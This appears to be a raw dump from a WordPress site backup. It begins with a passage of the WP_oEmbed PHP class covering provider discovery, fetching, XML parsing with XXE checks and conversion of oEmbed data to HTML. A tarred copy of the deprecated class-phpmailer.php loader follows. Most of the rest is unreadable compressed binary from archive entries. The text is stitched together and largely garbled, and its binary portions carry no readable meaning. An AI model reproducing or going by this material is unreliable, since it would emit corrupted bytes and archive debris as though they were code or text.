		$provider = $this->get_provider( $url, $args );

		if ( ! $provider ) {
			return false;
		}

		$data = $this->fetch( $provider, $url, $args );

		if ( false === $data ) {
			return false;
		}

		return $data;
	}

	/**
	 * The do-it-all function that takes a URL and attempts to return the HTML.
	 *
	 * @see WP_oEmbed::fetch()
	 * @see WP_oEmbed::data2html()
	 *
	 * @since 2.9.0
	 *
	 * @param string       $url  The URL to the content that should be attempted to be embedded.
	 * @param string|array $args Optional. Additional arguments for retrieving embed HTML.
	 *                           See wp_oembed_get() for accepted arguments. Default empty.
	 * @return string|false The UNSANITIZED (and potentially unsafe) HTML that should be used to embed
	 *                      on success, false on failure.
	 */
	public function get_html( $url, $args = '' ) {
		/**
		 * Filters the oEmbed result before any HTTP requests are made.
		 *
		 * This allows one to short-circuit the default logic, perhaps by
		 * replacing it with a routine that is more optimal for your setup.
		 *
		 * Returning a non-null value from the filter will effectively short-circuit retrieval
		 * and return the passed value instead.
		 *
		 * @since 4.5.3
		 *
		 * @param null|string  $result The UNSANITIZED (and potentially unsafe) HTML that should be used to embed.
		 *                             Default null to continue retrieving the result.
		 * @param string       $url    The URL to the content that should be attempted to be embedded.
		 * @param string|array $args   Optional. Additional arguments for retrieving embed HTML.
		 *                             See wp_oembed_get() for accepted arguments. Default empty.
		 */
		$pre = apply_filters( 'pre_oembed_result', null, $url, $args );

		if ( null !== $pre ) {
			return $pre;
		}

		$data = $this->get_data( $url, $args );

		if ( false === $data ) {
			return false;
		}

		/**
		 * Filters the HTML returned by the oEmbed provider.
		 *
		 * @since 2.9.0
		 *
		 * @param string|false $data The returned oEmbed HTML (false if unsafe).
		 * @param string       $url  URL of the content to be embedded.
		 * @param string|array $args Optional. Additional arguments for retrieving embed HTML.
		 *                           See wp_oembed_get() for accepted arguments. Default empty.
		 */
		return apply_filters( 'oembed_result', $this->data2html( $data, $url ), $url, $args );
	}

	/**
	 * Attempts to discover link tags at the given URL for an oEmbed provider.
	 *
	 * @since 2.9.0
	 *
	 * @param string $url The URL that should be inspected for discovery `<link>` tags.
	 * @return string|false The oEmbed provider URL on success, false on failure.
	 */
	public function discover( $url ) {
		$providers = array();
		$args      = array(
			'limit_response_size' => 153600, // 150 KB
		);

		/**
		 * Filters oEmbed remote get arguments.
		 *
		 * @since 4.0.0
		 *
		 * @see WP_Http::request()
		 *
		 * @param array  $args oEmbed remote get arguments.
		 * @param string $url  URL to be inspected.
		 */
		$args = apply_filters( 'oembed_remote_get_args', $args, $url );

		// Fetch URL content.
		$request = wp_safe_remote_get( $url, $args );
		$html    = wp_remote_retrieve_body( $request );
		if ( $html ) {

			/**
			 * Filters the link types that contain oEmbed provider URLs.
			 *
			 * @since 2.9.0
			 *
			 * @param string[] $format Array of oEmbed link types. Accepts 'application/json+oembed',
			 *                         'text/xml+oembed', and 'application/xml+oembed' (incorrect,
			 *                         used by at least Vimeo).
			 */
			$linktypes = apply_filters(
				'oembed_linktypes',
				array(
					'application/json+oembed' => 'json',
					'text/xml+oembed'         => 'xml',
					'application/xml+oembed'  => 'xml',
				)
			);

			// Strip <body>.
			$html_head_end = stripos( $html, '</head>' );
			if ( $html_head_end ) {
				$html = substr( $html, 0, $html_head_end );
			}

			// Do a quick check.
			$tagfound = false;
			foreach ( $linktypes as $linktype => $format ) {
				if ( stripos( $html, $linktype ) ) {
					$tagfound = true;
					break;
				}
			}

			if ( $tagfound && preg_match_all( '#<link([^<>]+)/?>#iU', $html, $links ) ) {
				foreach ( $links[1] as $link ) {
					$atts = shortcode_parse_atts( $link );

					if ( ! empty( $atts['type'] ) && ! empty( $linktypes[ $atts['type'] ] ) && ! empty( $atts['href'] ) ) {
						$providers[ $linktypes[ $atts['type'] ] ] = htmlspecialchars_decode( $atts['href'] );

						// Stop here if it's JSON (that's all we need).
						if ( 'json' === $linktypes[ $atts['type'] ] ) {
							break;
						}
					}
				}
			}
		}

		// JSON is preferred to XML.
		if ( ! empty( $providers['json'] ) ) {
			return $providers['json'];
		} elseif ( ! empty( $providers['xml'] ) ) {
			return $providers['xml'];
		} else {
			return false;
		}
	}

	/**
	 * Connects to an oEmbed provider and returns the result.
	 *
	 * @since 2.9.0
	 *
	 * @param string       $provider The URL to the oEmbed provider.
	 * @param string       $url      The URL to the content that is desired to be embedded.
	 * @param string|array $args     Optional. Additional arguments for retrieving embed HTML.
	 *                               See wp_oembed_get() for accepted arguments. Default empty.
	 * @return object|false The result in the form of an object on success, false on failure.
	 */
	public function fetch( $provider, $url, $args = '' ) {
		$args = wp_parse_args( $args, wp_embed_defaults( $url ) );

		$provider = add_query_arg( 'maxwidth', (int) $args['width'], $provider );
		$provider = add_query_arg( 'maxheight', (int) $args['height'], $provider );
		$provider = add_query_arg( 'url', urlencode( $url ), $provider );
		$provider = add_query_arg( 'dnt', 1, $provider );

		/**
		 * Filters the oEmbed URL to be fetched.
		 *
		 * @since 2.9.0
		 * @since 4.9.0 The `dnt` (Do Not Track) query parameter was added to all oEmbed provider URLs.
		 *
		 * @param string $provider URL of the oEmbed provider.
		 * @param string $url      URL of the content to be embedded.
		 * @param array  $args     Optional. Additional arguments for retrieving embed HTML.
		 *                         See wp_oembed_get() for accepted arguments. Default empty.
		 */
		$provider = apply_filters( 'oembed_fetch_url', $provider, $url, $args );

		foreach ( array( 'json', 'xml' ) as $format ) {
			$result = $this->_fetch_with_format( $provider, $format );
			if ( is_wp_error( $result ) && 'not-implemented' === $result->get_error_code() ) {
				continue;
			}

			return ( $result && ! is_wp_error( $result ) ) ? $result : false;
		}

		return false;
	}

	/**
	 * Fetches result from an oEmbed provider for a specific format and complete provider URL
	 *
	 * @since 3.0.0
	 *
	 * @param string $provider_url_with_args URL to the provider with full arguments list (url, maxheight, etc.)
	 * @param string $format                 Format to use.
	 * @return object|false|WP_Error The result in the form of an object on success, false on failure.
	 */
	private function _fetch_with_format( $provider_url_with_args, $format ) {
		$provider_url_with_args = add_query_arg( 'format', $format, $provider_url_with_args );

		/** This filter is documented in wp-includes/class-wp-oembed.php */
		$args = apply_filters( 'oembed_remote_get_args', array(), $provider_url_with_args );

		$response = wp_safe_remote_get( $provider_url_with_args, $args );

		if ( 501 === wp_remote_retrieve_response_code( $response ) ) {
			return new WP_Error( 'not-implemented' );
		}

		$body = wp_remote_retrieve_body( $response );
		if ( ! $body ) {
			return false;
		}

		$parse_method = "_parse_$format";

		return $this->$parse_method( $body );
	}

	/**
	 * Parses a json response body.
	 *
	 * @since 3.0.0
	 *
	 * @param string $response_body
	 * @return object|false
	 */
	private function _parse_json( $response_body ) {
		$data = json_decode( trim( $response_body ) );

		return ( $data && is_object( $data ) ) ? $data : false;
	}

	/**
	 * Parses an XML response body.
	 *
	 * @since 3.0.0
	 *
	 * @param string $response_body
	 * @return object|false
	 */
	private function _parse_xml( $response_body ) {
		if ( ! function_exists( 'libxml_disable_entity_loader' ) ) {
			return false;
		}

		if ( PHP_VERSION_ID < 80000 ) {
			/*
			 * This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading
			 * is disabled by default, so this function is no longer needed to protect against XXE attacks.
			 */
			$loader = libxml_disable_entity_loader( true );
		}

		$errors = libxml_use_internal_errors( true );

		$return = $this->_parse_xml_body( $response_body );

		libxml_use_internal_errors( $errors );

		if ( PHP_VERSION_ID < 80000 && isset( $loader ) ) {
			// phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.libxml_disable_entity_loaderDeprecated
			libxml_disable_entity_loader( $loader );
		}

		return $return;
	}

	/**
	 * Serves as a helper function for parsing an XML response body.
	 *
	 * @since 3.6.0
	 *
	 * @param string $response_body
	 * @return stdClass|false
	 */
	private function _parse_xml_body( $response_body ) {
		if ( ! function_exists( 'simplexml_import_dom' ) || ! class_exists( 'DOMDocument', false ) ) {
			return false;
		}

		$dom     = new DOMDocument();
		$success = $dom->loadXML( $response_body );
		if ( ! $success ) {
			return false;
		}

		if ( isset( $dom->doctype ) ) {
			return false;
		}

		foreach ( $dom->childNodes as $child ) {
			if ( XML_DOCUMENT_TYPE_NODE === $child->nodeType ) {
				return false;
			}
		}

		$xml = simplexml_import_dom( $dom );
		if ( ! $xml ) {
			return false;
		}

		$return = new stdClass();
		foreach ( $xml as $key => $value ) {
			$return->$key = (string) $value;
		}

		return $return;
	}

	/**
	 * Converts a data object from WP_oEmbed::fetch() and returns the HTML.
	 *
	 * @since 2.9.0
	 *
	 * @param object $data A data object result from an oEmbed provider.
	 * @param string $url  The URL to the content that is desired to be embedded.
	 * @return string|false The HTML needed to embed on success, false on failure.
	 */
	public function data2html( $data, $url ) {
		if ( ! is_object( $data ) || empty( $data->type ) ) {
			return false;
		}

		$return = false;

		switch ( $data->type ) {
			case 'photo':
				if ( empty( $data->url ) || empty( $data->width ) || empty( $data->height ) ) {
					break;
				}
				if ( ! is_string( $data->url ) || ! is_numeric( $data->width ) || ! is_numeric( $data->height ) ) {
					break;
				}

				$title  = ! empty( $data->title ) && is_string( $data->title ) ? $data->title : '';
				$return = '<a href="' . esc_url( $url ) . '"><img src="' . esc_url( $data->url ) . '" alt="' . esc_attr( $title ) . '" width="' . esc_attr( $data->width ) . '" height="' . esc_attr( $data->height ) . '" /></a>';
				break;

			case 'video':
			case 'rich':
				if ( ! empty( $data->html ) && is_string( $data->html ) ) {
					$return = $data->html;
				}
				break;

			case 'link':
				if ( ! empty( $data->title ) && is_string( $data->title ) ) {
					$return = '<a href="' . esc_url( $url ) . '">' . esc_html( $data->title ) . '</a>';
				}
				break;

			default:
				$return = false;
		}

		/**
		 * Filters the returned oEmbed HTML.
		 *
		 * Use this filter to add support for custom data types, or to filter the result.
		 *
		 * @since 2.9.0
		 *
		 * @param string|false $return The returned oEmbed HTML, or false on failure.
		 * @param object       $data   A data object result from an oEmbed provider.
		 * @param string       $url    The URL of the content to be embedded.
		 */
		return apply_filters( 'oembed_dataparse', $return, $data, $url );
	}

	/**
	 * Strips any new lines from the HTML.
	 *
	 * @since 2.9.0 as strip_scribd_newlines()
	 * @since 3.0.0
	 *
	 * @param string|false $html Existing HTML.
	 * @param object       $data Data object from WP_oEmbed::data2html()
	 * @param string       $url The original URL passed to oEmbed.
	 * @return string|false Possibly modified $html.
	 */
	public function _strip_newlines( $html, $data, $url ) {
		if ( ! str_contains( $html, "\n" ) ) {
			return $html;
		}

		$count     = 1;
		$found     = array();
		$token     = '__PRE__';
		$search    = array( "\t", "\n", "\r", ' ' );
		$replace   = array( '__TAB__', '__NL__', '__CR__', '__SPACE__' );
		$tokenized = str_replace( $search, $replace, $html );

		preg_match_all( '#(<pre[^>]*>.+?</pre>)#i', $tokenized, $matches, PREG_SET_ORDER );
		foreach ( $matches as $i => $match ) {
			$tag_html  = str_replace( $replace, $search, $match[0] );
			$tag_token = $token . $i;

			$found[ $tag_token ] = $tag_html;
			$html                = str_replace( $tag_html, $tag_token, $html, $count );
		}

		$replaced = str_replace( $replace, $search, $html );
		$stripped = str_replace( array( "\r\n", "\n" ), '', $replaced );
		$pre      = array_values( $found );
		$tokens   = array_keys( $found );

		return str_replace( $tokens, $pre, $stripped );
	}
}
PKYO\�_���010/class-wp-html-text-replacement.php.php.tar.gznu�[�����UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�PKYO\#��R

10/class-phpmailer.php.tarnu�[���home/homerdlh/public_html/wp-includes/class-phpmailer.php000064400000001230151442377570017642 0ustar00<?php

/**
 * The PHPMailer class has been moved to the wp-includes/PHPMailer subdirectory and now uses the PHPMailer\PHPMailer namespace.
 */
if ( function_exists( '_deprecated_file' ) ) {
	_deprecated_file(
		basename( __FILE__ ),
		'5.5.0',
		WPINC . '/PHPMailer/PHPMailer.php',
		__( 'The PHPMailer class has been moved to wp-includes/PHPMailer subdirectory and now uses the PHPMailer\PHPMailer namespace.' )
	);
}

require_once __DIR__ . '/PHPMailer/PHPMailer.php';
require_once __DIR__ . '/PHPMailer/Exception.php';

class_alias( PHPMailer\PHPMailer\PHPMailer::class, 'PHPMailer' );
class_alias( PHPMailer\PHPMailer\Exception::class, 'phpmailerException' );
PKYO\�ȩd�d10/index.php.php.tar.gznu�[�����i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
Bc�����p�rDK�J��;K�'�n��y��oš��-�"y�wvt�W�{
�#���"~5��":Cd���x<ZI�Es���qQ���z
��B
n��M��?���NSp��i��!���7�#Jd�ϛT�4�ង�Rp��_S�4�=F�Edg��Q�s�_[�"z�)��d�����c��.���h�k�ߚV���/�eYgVàl�Ƭ�����-�b<�@��g �++=��
+�"�ɬpB�_��i:�6;�m�Džп�i��w����-	~�����1�y�
�eh�� H7�5P
@[�:��!`����LXt�E�F�n��}�H6���!SP��C�Yo���7����PQe�G|PԉvD�9�u[�Aq����^�j"�Ѝ�=�QnS�|K��<A<��o>3�f�A���`�D2�}�oL�wL��Ȩ�$��2���i��I5Ŧ�	�����
��J�U0P].m�������7t'��cR��`¿�2�T�Ʃ�w`X�b����<s��J1���e\H�>݁g\�[��s9��gUz������R�+�`}`u��Ґ�!]q��ڼ��)*����-FD�w�iB�\~7D��D���s��#8�uJ��0�[��s��Ĥ&[����
z;�:J��OH��ӯ�z� ��:B{
(�%��ԩĦ.�«^RB�������\�(���ݮ
��PH"Ɲ�d����~X���T��G?t^u{.)X҅�o��y��U��X�R{`:� 9yq"��~�速��Y�U��`AΈ/���v��U�[kE�_�?�������E��v���w�2ËxK�,�-\�,��6[�$a���F��?b��ޢ��.ǥ�r�ٍ=d�T�\��dY�� ����2`���@bꐆ��	O�\܃�z�Č��T8i
aQ�WL�[����1���Rmě�����5��}��ʥ;�L��o�4��+��p[vT��G^��R�=�»����>ʞ�o;���i�o��"Ht_����O��S������Hű����d�2A]ߑg�s2���¬�̫Is�;Ĕ�Q���q¥-�Px��p<�J�����&YRV���3�όY#¶�t;R���`
�J�N��1�g�����)N�p����S�� ��Me�ڰ��2e*T��y�r�l��EH�1'�����TݭM���}�h^@��1�TF��=2D�j(�֤᛻����g�4�\�/Tt�N
4AA  �k�D��Є�M�����D'�b9��'Z\�RD
��$��^(*�s���Ӻ)-������;��\H�Rɷ]慜S3�On��C��
ĺ)ж�?ٖ�a@�'��8&�7��y
�41J]�K�=>]k#��5���z���v��B�^��:��a���Xp�\0��l��)�ȵ�
�N�T��O�v�M�'n�>�J2Kې#��*�ʧ;yR�N����}�,͒�d�����
�a�+����߷��	�׫ي^�Gt9`0�Tk�[�T��-|�z�J7�v�4��T�$e��J�r�/�`�����V}�0&_5C�̼ҽ��w��>�b�8В�ߍ�.P�'I@)vQ�� �@]�n�O&��BnS���v�>#ç#z�z�p�S��F�L��ߤ���s�:S5_��`?z�ox�; �|&��N��ɯ�.��l�7�Ґ9g�`�տ^\���5�N\>�@���X.�g���\[/�F���&P>3a�}'a���ǺK�?��.��Dʃ�pp��Ҏ��@_�jn�Xu��:X���+�L���֔�&[FT��q!AFe���H>�@[�K"�P'?\��>���|)�,3}�<C�'��]�Ȑ�4D ����.�n
D%�I,Z��ⱽ�U96��G}���ܣ0�r�R\-�e", �����)��u��GfN�`st����U}��'F�0�
7��g�N@C�_	�^j�9;�K�{�kh$��}�a<�ߜ-��[
/�n���G��!K#NQ,�R�=Y`(�.�`Hc�N/�{��P��2M�q'�:�Ļ��vrZĀ���r��Ĺ.r|��Y��kh��d���j�5g/��z�K9ۀ0\��������6�.�{&�7�O�Os�;8���6<�� {���O�Vl�(P&�2
�>��A�/&φ��}E��
C��s�T�??bށ|�v2�SI�
X)��m)pB\�U��@	��`�k�kxxETo��r��%9`2Z�GD�#��$H�
5���m�w�*�T�'����������
��#���k�G;�9�`U���v�P���m-�B�
9�
��+ �M8d�����XB��89���"F9gK�N����ċx�F���6<���p7�Zܗ`�dn�z)Nnq��^����ʼn�?�vw��N�S����t��*�d>d�l��ͧ�e�T�>�cM�q�jv
�='c��D��d�x���Y$����S>�K��N�Gjn��*�W_��#:!����j����>�L��l����̄�L�G7�P;0w��p�;_�'|���F:��E��r�b���P쳱�ދ�=�ͤ�e!<^D�Հy��s>ԛx�Ⱥ��o+�谟��t|6��Y�Z/�g��C���Q�A�.����|� ��YuA'�n�2
p�`F(1yPuvZe��R��ǝAh�>��Z8�'�=6�>IO=II��7���X��0i���/DFʓ�H��m�Kτ�(L���ah�PKA�̄���SJ�g}Y�l���!�,�GO��)��eP�s�Ŋ�+�w1�U�	3�/�=��9M�W���t����,��l��0��:�Q�H�{�7ҍ�r�E�ZɈ�UeR�Uc�C&,��Bi]��3PI:����]�����C1�M��Iy(W��v&-�ࡿ��%��rm�*���c��D%^?�Tq�>$�1̴��n%"g���%���n�Χ��H�7�������
��`�H'W��vR��G�z։t��z|�&��;���-�DA��֕���˰��V�1���]�;�v���ӏ��0k=`�>[�mb+�z��|zJyA�?�Bwћ�����B]!��5�n�֟5�}%���d����z�⠵��,�V��`#U���ۭ�C����b�Xu�I����$Ȕ�mz\���H`?H�{��tҟ���ڮ�y��
5�|hŒ��.Өr�@��n�;�M[�0���V=�e�L�%�:�bx��\?�T���ubW��\%7B�tf����an�H��N/��r�P��'�l[���ɴ��T�V��z�巹-���F)���(�	���Ve�GB�C$��4r�6���Vn�{�#�yhu�yy�0�LR)�rb�`��1h�"�P�;��J�<�r��P��0�9Cw����z��woU��������wo��óhs���	�n��7��UO�x����֯9O��#������MV�H߁ۜp'	W	�B������J�f�!������ �֑�KYR%0����F�,��F;{V�.�9g�p�i��\mr���+2�I�K/�5Uեr��ܨ�:GX-iw$�ԨVOυz�1���sύV�Sw��	Ur�>��۱�,a�����Gs1���F�}����Y�A<�e�f_�sh)����L&�C��
�)��R�Y	��E���N�u�.�.�z�VY2�6"`�w��m�N7
a�N���"�6�9�3ð�9��a;0��K?������.�r›�'���꣚�5C�lM���t�v�!,����;��P�H��4vˡϰ�^.9WY% O��P�V�\�H�і��Ot*|�,+�k43�~�Y����2������Ӡ߇�!�
 B6k<
���{���v��Z�-�g�GvC$�p����w)�8���%�ߜ��b~�i��� ���/�I�\ �v�H���뇡-���M�����0�Z�,h��$JD���p�^��8��Ұ�4#�}��*R[0�s2�1<ifݐ �c	��0C�]6�'?�"�D@��ހ�e�B�AˀV'(���JY��ɰ�d���G�9j~2��9\�A��Тcr��5�3��;�����o��O��7����~�~������������_��?�����?p��7��k�o���nP�+?�S�Q�.䱂9|�ʳ��@B�@�	�!��F
�
qR�L��g��=�ŧ;��-y��a'��A3����6:=84��S���P?��h�k7�ΩI���	%BqR`�����%�̂�K
��OH�ڠܠT�tGY���]~�Y,ͱ��UU�71�Cs��`��Q��jk6���U���䘄,��1�x�����e���hF@�E����ߎ�I����5G��^O�9kʳ,g����&2؃8���0z%l[c�Zp�`�,��t#3��w��0e��uL�SN��	�,��t���.{s�8@Z�r��-�mfC<���uԧ�?�F:3��-�z	������^�R�ۺ���5�o1�a�����/S�w.D�&,���u�}�,{�yim�;躼�>C�@���,/����}��I�� {V�}3[�C4;{,[!.�`@�{��0�I�f���oRԥ��6>�/�� �I���.�KtT
�=���=���8�t���'����Qڸ�q��Б�JF��D�LP���&�yÑs�V9\[Z̥���-��C`c+�S(�l{ow�:�%t�Z>9'9|�}2��
mc�b�	��k��cʋ,U �I1b0Y�y�.�CKA�@�]G��	/k�5�����[�R�(3:�+�1������ZJ�~��/ب��>�0B�8�1���
7(��7C��@��`޼���蘜�a�C��d���	Vk^5ưy�jTٗZŶ�Mr�9M����@�VX����z�J�
�:Z�-&���h-o�,���	�X6�3����*{��[���;g�)u�8�q;^u0o.�U�Q�!S�#�Ld�tx���(H��/��܅�ܩ��
��Z#�+��?gx�I5�%�Qv ���P�Ɖ{E�
� O�3�j̀޵��f
8&��OF�����p�<�j�bx�w}ci�����>��ׇ>\��߽�|���	��A����O�hG�Cۆ�@��_aAb���6꠵M����K����\>�E>H��*�1���i�Z4���[/�g�2;�8����@C�ϊ6�Z'��t��:��
�o*�4)�*������@C�@�m���TbF|��I��F���R�9êm��;�*�AG՛��M���r��b�,����T#3�Q��06���ܽ���`�Z�HZy�;��w��V_P�yh�k����41�J?OY�H��n^��}��ԝs������4��*�vJ�YV�z��L��$�^)�>_�~�%����SmKB�n5�WJC�~|�X�v0u����Ç���h���AA�q@���n��N*f0m���I�N��3�:J��i)7�~���`�X*��P�Q�Q�T��DR�G�1�j�s>*��T��#������Քk��o����CZ�l�M��Z�RtJ�i���ҚL>�P��&�T��P%ط
�"�=p�c��q�߼Z�4��L�z�ZKw�~E��`�΁=
ڇr�(��J֢�j�w7�UHCW�E�B?>ZyO
��Z<���Oo�j`Z�O�a�?V6��v&D����
��7�N�8G�`$�
w{@N���` 
n͞�p����'��4�[�������G}�E���
���p�%�I*
��c6���h<��a�c)��W�[|d���u2�Nw2c�+��n�D�.0Z9!��c<��'h���QS��C��w]Y���7V38�Ii%��fk5���h@���&t�Ͱ���f5wT��0���!�V,u�3��B���������|M}T�۪�`����b����'w���n�z!w�^��+�l�S��`�����v���K�>t�^
���[/����9F����-�
���n��i�km���~49֣�܎��&t�؊����,�S:�o܊<��_~�7q�����n>~�A_���8RG��`��K|��rB͡��#p�²`w��+4;X��(��W�C��}���+��*���"qr��>�9n�iI&9d+M�m��q����F(\��~��)��a�P2���)]0x��u⒢��$<�7<���ޗ��R�[�U�)��Qկ���a��k�K1"X�[�Ct�/����w��?���O���4�(�U��+�*��8�k�g��y�C=f�����x�=���t�X"�-�l�E��"`��37؃����v��
�n,X-in��@,�Lޢs�p6��-
�ţ�l��T�Wyr�XL�y���-pF�:E4��
�p�p�8�S�����ʌZ_�g���_�#�És{Sߤ��L6F��-�ŋUt���KQ��Fk�St�r���+��(աj���v��k5��V�4�pxDK����pk�Dw�He�4t
4�χ�q3h�$h0�e-���x!#��FuFQ���,��
�BL'm#X$5n�����L�H��͘��z4���`q����Z����7���Z�1pc��%z�U���44Eu�~�3e� T�[��K��bf֪���G*�x>Z��EkH<��;>]����	:9��:!!�f�L1�k�0�����\�>���a��N���W{�Ʋ0�ÛV���B^�t��R���#���_���f[��u���V��/&�	���gR�Z��\I*���y�)�'�z�W�x�i=c�L"��h�驱�D4t8l��lz����Z�~��ꖸ<����b�k���|��>�Χ�� [8��j&ݘz��\R��I:�ժ�l:��6�jfOo�Us)��l>=��i%[Jw�Ll6//��"Hc�A']���J?T��i5]L�cﰓ.eY�O73C!�陵l��~O����,��m:�Z��h�6Qӹ�C/4(�+�p������}:=���-��]�ӭ8(�T��"�R{��(�h���h2���v3����lp�	�O�iD:��O�]3�o>L��z+.�N9SKӓDbZ;�*��'��䪑����5)�		5&'������+��z!0Vu��P���Q�UI�OZ��d=a�\e ��J7-�E�G׶�H����+� �=ͣ�iy��G˧�8*n:ݣ���)���`��J��S�p�i�&[�蔻�C��0-VFQ)yOWF�޲�}%�~,G�R7̷G�h~!�S�|��.��B`��GԄ��V��C7�%o�iݪ0S��m��Q�񾓎lF�t�&���$7)��(��	��r�0R�E{�L����yE蔕}�li�������N��=�3�C&�2Yz7�I��C��mN3�좝�����}�����0͂޵	��l��i1%�3JG�[�1���9z9�>�3��>�m�2���o�3|����d6�L���HiT(e�C6��gZ��|ݪu'����
����MJ�ipW\/�q���;�ɏvB���v��\��[3�pQj�ɦ9�o�R�Qz�4Gr�i�!�7W�I#$%���h��O��C#?̥�;��U:%;���</���n��V��:"�	��6ۓ�S:����@i�oE3�´��������>��Y顶�禅��þ�Y�ׁYjyG�~V�M��R%�x�K�Ne���F��o��nu�_4���nY���C1���K޹�(�vF��"3(���â��/=�E�����9MJY||H��N��-I]e�jOE!_��́��=dzL��!I�5��I2�!SU(o�}N�Z��L�Mv��v�,��:���i�K�;
����Њօd�)�l�-/�K7�v[�Ns��T,g�bz��p���w�A �v��v��un��
�^o�R�e�0�/g����fz����J�V��>Uz%��I�%�W
6f���Vjo�6c����Zp�0ؤ���ݟG��6��-ʼnңg�j�
UJx����*2N:O���zڅ��O�Bq�Z��|�y���A���Ի�Y�>���@g"��2�����igS�J�b��T�Ao'��̓ �r���V����0�8���4��]@��� B�3���M
�03*/w�Z�#e>�bbݡ4T�l<�^zc}Q��A�cc��E�t���.��-��}�0)*��<�*��t��uz��a�V�a�W�=�j�f�7�O�~��f�	)�+κ�Ƭ(���y$.G��a�_Q]�p�Z|�lw��E���;9��K���R.��!�*���
���X
e� )����e�b���V��zړ��L���-Y%��"��Z]�F�e\��1YT�6�۩�"��J���Q�ku
�bʊj�q���:�A-�C5���ǃ�Ja�A�(��r�Ǻc�ú��e%��\#�k��i�RŊ��0`�B���"�_Z?�#�Je9�V��p��K�Uf��W�6��"^n�!)�׵ut��#1�
���ة�F��ʹ�l��F��jq3�f��ğ��>9�DO2�m�X/�ڰ�n�M΢{�[�F�pxV�{t��Ȇ��q���mD�[jt�N��L�Yq��f�ä[�<n+q�2Qz덃<��}�ff�l���ef��:Y?e�vA��M�}�Fg��(��a0^�iv]+�p��y����b#��	��jO�V8_;��X�a�/U��MD�}�\kK�]5jRx=k���z ��`�g���m�~��-��F��q�>��Yo-^�i^n9澾ݴ���LKJ}9HwJ�z���m�ҫU��>�Kv�Xϊb�~� �x�US��P�6*O���|��<���b��4��:u�R�N��r^�Us��8���r*�Fg����� �k��igP
�K1�����0V���XE�'8�9~`���
*@p6WC�W���^�W��1�/��F�M->���Y�6"M�y�ԎʡeP���c�I�E)��v;�Uʑ]�P�3�mb]Z�ʋp�ۨ�(�ˁ7ʓ^<��*�Y�c[��]?��f��Npz�7���bK����<��Qo��H�P������ځ�ɯ;�����qC��D��%���Sn���U �&�z8��?
